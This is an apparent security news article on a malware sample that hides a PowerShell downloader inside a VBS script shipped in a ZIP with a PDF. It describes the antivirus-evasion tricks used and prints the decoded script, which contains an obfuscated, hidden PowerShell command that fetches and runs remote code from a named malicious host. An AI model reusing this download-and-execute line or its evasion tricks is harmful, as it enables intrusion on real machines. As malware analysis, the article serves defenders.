Researchers discovered new malware sample that is using different obfustication technique to change the overall signature when its delivery the final payload to evade the most of the anti-virus products.
Attackers changing the obfustication technique from customizing the final payload to customize the delivery method which is an effective method to reach the target successfully without being caught up by Antivirus scan.
Since many of the Antivirus products are rely on the signature-based detection, attackers keep changing the overall the structure of the malware without alter its function and creating a layer to evade the antivirus detection.
The following method is mostly used obfustication technique to treat Actors to evade the antivirus detection.
- Packers, which compress or “pack” a malware program
- Crypters, which encrypt a malware program (or portions thereof)
- Other obfuscators, which mutate – but do not neuter – the malware program in a variety of ways, thus changing the overall number of bytes in the program
How does this Malware Works
Researchers encounter new malware file that using a PowerShell obfuscation technique which is distributed via ZIP file that holds VBS Script and PDF Document.
VB script using Base64 encoding principals to obfuscate the first layer then the VB script will download the file “hxxps://ravigel[dot]com/1cr[dot]dat” via PowerShell Script.
Const sComputer = “.”
Dim oWmiService : Set oWmiService = _
& sComputer & “rootcimv2”)
Dim cTimeZone : Set cTimeZone = _
oWmiService.ExecQuery(“Select * from Win32_TimeZone”)
For Each oTimeZone in cTimeZone
GetTimeZoneOffset = oTimeZone.Bias / 60
Set vertu = CreateObject(“WScript.Shell”)
if GetTimeZoneOffset = 9 then
vertu.Run(tss1+vk2+nop3+” -windowsty”+mur+”den -noexit -executionpolicy bypa”+okol+”ommand I`EX ((neW`-Obj`EcT ((‘Net’+’.’+’Webc’+’lient’))).((‘Downloadst’+’ri’+’ng’)).InVokE(((‘ht”+”tp:’+’/”+”/r’+’av’+’ig’+’el.com/1’+’cr.’+’da’+’t’)))) “)
Set vertu = Nothing
VBS Script Decoded
According to cylance, Numerous techniques, like string splitting through concatenation and variable assignment, as well as the use of tick marks “`” and random letter capitalizations, are used to split up words or signatures that antivirus companies commonly rely upon for malicious PowerShell identification.
The researchers Said, “The file 1cr.dat is where things got interesting,” “It uses a method of string encryption inherent in C# called SecureString…commonly used to encrypt sensitive strings within applications using Microsoft’s built-in DPAPI.”
Later a set of instructions is there to attempt to defeat automated sandbox techniques and an another PE file “top.tab” will be downloaded using the existing script and final payload will inject into the victims machine.
During the analysis, the file was only detected by three products.